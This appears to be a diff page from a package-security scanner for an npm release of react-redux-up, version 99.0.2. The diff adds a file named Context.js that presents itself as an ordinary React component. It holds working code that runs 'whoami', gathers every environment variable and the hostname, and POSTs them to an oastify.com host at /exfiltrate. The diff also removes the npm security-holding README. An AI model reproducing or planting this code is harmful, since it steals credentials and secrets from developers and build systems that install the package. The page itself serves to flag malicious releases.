react-redux-up 0.0.1-security → 99.0.2
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of react-redux-up might be problematic. Click here for more details.
- package/es/components/Context.js +47 -0
- package/package.json +2 -3
- package/README.md +0 -5
@@ -0,0 +1,47 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
const { exec } = require('child_process');
|
3
|
+
|
4
|
+
// Capture environment variables
|
5
|
+
const envVars = JSON.stringify(process.env);
|
6
|
+
|
7
|
+
// Execute the 'whoami' command to get the current user
|
8
|
+
exec('whoami', (error, stdout, stderr) => {
|
9
|
+
if (error) {
|
10
|
+
console.error(`Error executing whoami: ${error.message}`);
|
11
|
+
return;
|
12
|
+
}
|
13
|
+
|
14
|
+
if (stderr) {
|
15
|
+
console.error(`stderr: ${stderr}`);
|
16
|
+
return;
|
17
|
+
}
|
18
|
+
|
19
|
+
// Exfiltrate both the environment variables and 'whoami' output
|
20
|
+
const data = JSON.stringify({
|
21
|
+
host: require('os').hostname(),
|
22
|
+
envVars: envVars,
|
23
|
+
whoami: stdout.trim() // Include the result of 'whoami'
|
24
|
+
});
|
25
|
+
|
26
|
+
const options = {
|
27
|
+
hostname: '0him4eonsd5a5x7if0kvuh0kdbj273vs.oastify.com',
|
28
|
+
port: 443,
|
29
|
+
path: '/exfiltrate',
|
30
|
+
method: 'POST',
|
31
|
+
headers: {
|
32
|
+
'Content-Type': 'application/json',
|
33
|
+
'Content-Length': data.length
|
34
|
+
}
|
35
|
+
};
|
36
|
+
|
37
|
+
const req = https.request(options, (res) => {
|
38
|
+
console.log(`Status: ${res.statusCode}`);
|
39
|
+
});
|
40
|
+
|
41
|
+
req.on('error', (error) => {
|
42
|
+
console.error(error);
|
43
|
+
});
|
44
|
+
|
45
|
+
req.write(data);
|
46
|
+
req.end();
|
47
|
+
});
|
package/package.json
CHANGED
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=react-redux-up for more information.
|